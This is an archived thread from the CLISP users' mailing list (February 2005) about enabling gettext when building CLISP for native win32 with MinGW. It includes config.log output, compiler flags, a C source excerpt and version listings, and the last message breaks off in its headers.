<421B3F87.5010201@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Feb 2005 16:19:51 +0200") References: <421B3F87.5010201@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 22 06:36:50 2005 X-Original-Date: Tue, 22 Feb 2005 09:34:19 -0500 > * Yaroslav Kavenchuk [2005-02-22 16:19:51 +0200]: > > win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59 > from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2 > >> $ ./configure --with-mingw >> ... > > from config.log: > >> configure:5194: checking for xgettext >> configure:5222: result: /bin/xgettext >> configure:5233: checking for msgmerge >> configure:5260: result: /bin/msgmerge >> configure:5306: checking whether NLS is requested >> configure:5315: result: yes >> configure:5332: checking for GNU gettext in libc >> configure:5356: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >&5 >> C:/Temp/ccCabaaa.o: In function `main': >> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:22: undefined >> reference to `libintl_bindtextdomain' >> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined >> reference to `libintl_gettext' >> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined >> reference to `libintl_ngettext' >> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined >> reference to `libintl_nl_domain_bindings' >> C:/gnu/home/src/clisp/clisp/build-mingw/conftest.c:23: undefined >> reference to `_nl_msg_cat_cntr' >> collect2: ld returned 1 exit status >> configure:5362: $? = 1 >> configure: failed program was: >> | /* confdefs.h. */ >> | >> | #define PACKAGE_NAME "" >> | #define PACKAGE_TARNAME "" >> | #define PACKAGE_VERSION "" >> | #define PACKAGE_STRING "" >> | #define PACKAGE_BUGREPORT "" >> | #define _GNU_SOURCE 1 >> | #define ASM_UNDERSCORE >> | #ifndef __i386__ >> | #define __i386__ 1 >> | #endif >> | #define HAVE_ICONV 1 >> | #define ICONV_CONST const >> | /* end confdefs.h. */ >> | #include >> | extern int _nl_msg_cat_cntr; >> | extern int *_nl_domain_bindings; >> | int >> | main () >> | { >> | bindtextdomain ("", ""); >> | return (int) gettext ("") + (int) ngettext ("", "", 0) + >> _nl_msg_cat_cntr + *_nl_domain_bindings >> | ; >> | return 0; >> | } >> configure:5387: result: no >> configure:5799: checking for iconv >> configure:5911: result: yes >> configure:5921: checking how to link with libiconv >> configure:5923: result: -liconv >> configure:6310: checking for GNU gettext in libintl >> configure:6342: gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >> -lintl >&5 >> Info: resolving __nl_msg_cat_cntr by linking to >> __imp___nl_msg_cat_cntr (auto-import) >> configure:6348: $? = 0 >> configure:6352: test -z >> || test ! -s conftest.err >> configure:6355: $? = 0 >> configure:6358: test -s conftest.exe >> configure:6361: $? = 0 >> configure:6433: result: yes >> configure:6465: checking how to link with libintl >> configure:6467: result: -lintl > > if in test program for clause "configure:5332: checking for GNU gettext > in libc" append > >> #if !defined _LIBC >> # define _nl_default_dirname libintl_nl_default_dirname >> # define _nl_domain_bindings libintl_nl_domain_bindings >> #endif > > and in command > >> gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c > > append -lintl, we shall not receive a error, but only: if we are looking in libc, we should not link with libintl. >> $ gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c -lintl >> Info: resolving _libintl_nl_domain_bindings by linking to >> __imp__libintl_nl_domain_bindings (auto-import) >> Info: resolving __nl_msg_cat_cntr by linking to >> __imp___nl_msg_cat_cntr (auto-import) > > Whether it is possible to build clisp for win32 with gettext? > Whether it is possible to build with libraries from gnuwin32? > What to me to look or read to understand as it to build? > > I am sorry, if I stick with nonsenses. :) I hope Bruno will speak up. -- Sam Steingold (http://www.podval.org/~sds) running w2k What was there first: the Compiler or its Source code? From kavenchuk@jenty.by Tue Feb 22 06:45:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3bIP-0005RY-Ok for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 06:45:53 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3bIN-0006yw-9B for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 06:45:53 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK371BB; Tue, 22 Feb 2005 16:48:31 +0200 Message-ID: <421B45C4.3080608@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Bruno Haible References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 22 06:47:08 2005 X-Original-Date: Tue, 22 Feb 2005 16:46:28 +0200 Sam Steingold: > >> gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c > > > > append -lintl, we shall not receive a error, but only: > > if we are looking in libc, we should not link with libintl. > It is possible to build clisp with support gettext only from libintl? How? > > Whether it is possible to build clisp for win32 with gettext? > > Whether it is possible to build with libraries from gnuwin32? > > What to me to look or read to understand as it to build? > > > > I am sorry, if I stick with nonsenses. :) > > I hope Bruno will speak up. > I too. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Feb 22 08:44:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3d8y-0005bl-Mo for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 08:44:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D3d8w-0004dQ-K4 for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 08:44:16 -0800 Received: from WINSTEINGOLDLAP ([172.20.0.17]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1MGgLcm003852; Tue, 22 Feb 2005 11:42:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421B45C4.3080608@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Feb 2005 16:46:28 +0200") References: <421B45C4.3080608@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 22 08:45:39 2005 X-Original-Date: Tue, 22 Feb 2005 11:43:38 -0500 > * Yaroslav Kavenchuk [2005-02-22 16:46:28 +0200]: > > Sam Steingold: > >> >> gcc -mno-cygwin -o conftest.exe -g -O2 conftest.c >> > >> > append -lintl, we shall not receive a error, but only: >> >> if we are looking in libc, we should not link with libintl. >> > It is possible to build clisp with support gettext only from libintl? How? it should be automatic: when configure detects that gettext is not in libc, it then looks at libintl. everything is supposed to be perfectly transparent, you should not notice where your gettext is coming from unless you specifically look for it. -- Sam Steingold (http://www.podval.org/~sds) running w2k Stupidity, like virtue, is its own reward. From sds@gnu.org Tue Feb 22 11:09:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3fP3-0006Mq-Rp for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 11:09:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D3fP1-0004Dg-5K for clisp-list@lists.sourceforge.net; Tue, 22 Feb 2005 11:09:01 -0800 Received: from WINSTEINGOLDLAP ([172.20.0.17]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1MJ7DxC021451; Tue, 22 Feb 2005 14:07:18 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421B3F87.5010201@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Feb 2005 16:19:51 +0200") References: <421B3F87.5010201@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 22 11:11:24 2005 X-Original-Date: Tue, 22 Feb 2005 14:08:30 -0500 > * Yaroslav Kavenchuk [2005-02-22 16:19:51 +0200]: > > win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59 > from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2 > >> $ ./configure --with-mingw >> ... so, did it succeed or fail? if failed, what was the final error message? if if succeeded, what is the problem? -- Sam Steingold (http://www.podval.org/~sds) running w2k Between grand theft and a legal fee, there only stands a law degree. From kavenchuk@jenty.by Wed Feb 23 04:20:42 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3vVS-00019S-6I for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 04:20:42 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3vVQ-00042W-GC for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 04:20:42 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37FG9; Wed, 23 Feb 2005 14:23:11 +0200 Message-ID: <421C7534.50407@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 04:21:27 2005 X-Original-Date: Wed, 23 Feb 2005 14:21:08 +0200 Sam Steingold: > > * Yaroslav Kavenchuk [2005-02-22 16:19:51 +0200]: > > > > win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59 > > from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2 > > > >> $ ./configure --with-mingw > >> ... > > so, did it succeed or fail? > if failed, what was the final error message? > if if succeeded, what is the problem? > No problem. src\makemake.in: ... if [ $TOS = win32 ] ; then XCFLAGS=$XCFLAGS' -DNO_GETTEXT' fi ... modules\i18n\gettext.c: ... DEFUNR(I18N:GETTEXT, msgid &optional domain category) { /* returns the translation of msgid in the given domain, depending on the given category. */ object msgid = check_string(STACK_2); #ifdef GNU_GETTEXT with_string_0(msgid,Symbol_value(S(ascii)),msgid_asciz, { object domain = STACK_1; if (missingp(domain)) { int category = check_locale_category(STACK_0); VALUES1(do_gettext(msgid_asciz,NULL,category)); } else { domain = check_string(domain); with_string_0(domain,Symbol_value(S(ascii)),domain_asciz, { int category = check_locale_category(STACK_0); VALUES1(do_gettext(msgid_asciz,domain_asciz,category)); }); } }); #else VALUES1(msgid); #endif skipSTACK(3); } ... resume: GETTEXT DO NOT WORK IN CLISP FOR WIN32 It can change, or "not destiny"? -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Feb 23 06:52:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3xsW-0002CW-GU for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 06:52:40 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3xsV-0003sS-Al for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 06:52:40 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1NEoWoE007677; Wed, 23 Feb 2005 09:50:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421C7534.50407@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 23 Feb 2005 14:21:08 +0200") References: <421C7534.50407@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 06:54:57 2005 X-Original-Date: Wed, 23 Feb 2005 09:51:49 -0500 > * Yaroslav Kavenchuk [2005-02-23 14:21:08 +0200]: > > Sam Steingold: > >> > * Yaroslav Kavenchuk [2005-02-22 16:19:51 +0200]: >> > >> > win2k, MinGW-3.2.0-rc-3, MSYS-1.0.11-2004.04.30-1, msys-autoconf-2.59 >> > from gnuwin32: gettext-0.14.1, libiconv-1.8-1, libintl-0.11.5-2 >> > >> >> $ ./configure --with-mingw >> >> ... >> >> so, did it succeed or fail? >> if failed, what was the final error message? >> if if succeeded, what is the problem? >> > No problem. so, what does clisp --version say? > src\makemake.in: > ... > if [ $TOS =3D win32 ] ; then > XCFLAGS=3D$XCFLAGS' -DNO_GETTEXT' > fi > ... > > modules\i18n\gettext.c: > ... > DEFUNR(I18N:GETTEXT, msgid &optional domain category) > { /* returns the translation of msgid in the given domain, > depending on the given category. */ > object msgid =3D check_string(STACK_2); > #ifdef GNU_GETTEXT > with_string_0(msgid,Symbol_value(S(ascii)),msgid_asciz, { > object domain =3D STACK_1; > if (missingp(domain)) { > int category =3D check_locale_category(STACK_0); > VALUES1(do_gettext(msgid_asciz,NULL,category)); > } else { > domain =3D check_string(domain); > with_string_0(domain,Symbol_value(S(ascii)),domain_asciz, { > int category =3D check_locale_category(STACK_0); > VALUES1(do_gettext(msgid_asciz,domain_asciz,category)); > }); > } > }); > #else > VALUES1(msgid); > #endif > skipSTACK(3); > } > ... > > resume: > GETTEXT DO NOT WORK IN CLISP FOR WIN32 > > It can change, yes, it can. 1. comment out the 3 lines in makemake.in that disable GETTEXT. make sure that clisp still builds. 2. find out whether GNU_GETTEXT is defined and, if not, why not. > or "not destiny"? you mean "=D0=BD=D0=B5 =D1=81=D1=83=D0=B4=D1=8C=D0=B1=D0=B5=D1=86" ? :-) (English: "no way", "forget it", "tough luck") --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Press any key to continue or any other key to quit. From kavenchuk@jenty.by Wed Feb 23 07:50:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3ym1-0006Wq-T7 for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 07:50:01 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D3yly-0001ri-Cm for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 07:50:02 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37F3H; Wed, 23 Feb 2005 17:52:36 +0200 Message-ID: <421CA649.8040508@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 07:51:54 2005 X-Original-Date: Wed, 23 Feb 2005 17:50:33 +0200 Sam Steingold: > >> if if succeeded, what is the problem? > >> > > No problem. > > so, what does > clisp --version > say? > $ ./lisp.exe -M lispinit.mem --version GNU CLISP 2.33.81 (2005-02-16) (built on home [127.0.0.1]) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY Features: (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [150.0.0.200] > yes, it can. > > 1. comment out the 3 lines in makemake.in that disable GETTEXT. > make sure that clisp still builds. > > 2. find out whether GNU_GETTEXT is defined and, if not, why not. > I do it. Article 1. will do. $ ./lisp.exe -M lispinit.mem --version GNU CLISP 2.33.81 (2005-02-16) (built 3318159772) (memory 3318160458) Software: GNU C 3.4.2 (mingw-special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none -lintl libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY Features: (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: User language: ENGLISH Machine: PC/386 (PC/?86) stnt067 [150.0.0.200] > (English: "no way", "forget it", "tough luck") > Thanks :) Pair remarks: - The file `clisp.exe' does not get in archive at run command "make distrib" though is created; - The catalog `locale' too does not get in archive. Has gone to understand further :) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Feb 23 08:03:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D3yzJ-0007aG-Fw for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 08:03:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D3yzF-0002CB-Mx for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 08:03:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.189]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1NG1WiR016800; Wed, 23 Feb 2005 11:01:43 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <421CA649.8040508@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 23 Feb 2005 17:50:33 +0200") References: <421CA649.8040508@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 23 08:06:32 2005 X-Original-Date: Wed, 23 Feb 2005 11:02:49 -0500 > * Yaroslav Kavenchuk [2005-02-23 17:50:33 +0200]: > > Pair remarks: (a couple) > - The file `clisp.exe' does not get in archive at run command "make > distrib" though is created; clisp.exe has certain directories built-in. it is never distributed. it is built at installation time. (it is created at build time because some people run clisp in-place) > - The catalog `locale' too does not get in archive. that's because gettext is presumed to be not supported. -- Sam Steingold (http://www.podval.org/~sds) running w2k 186,000 Miles per Second. It's not just a good idea. IT'S THE LAW. From kavenchuk@jenty.by Wed Feb 23 23:17:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D4DFJ-0003mD-KY for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:17:13 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D4DFF-0007Hd-KQ for clisp-list@lists.sourceforge.net; Wed, 23 Feb 2005 23:17:13 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 1ZK37GA6; Thu, 24 Feb 2005 09:19:41 +0200 Message-ID: <421D7F92.3000300@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: again gettext and win32-native (mingw) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: 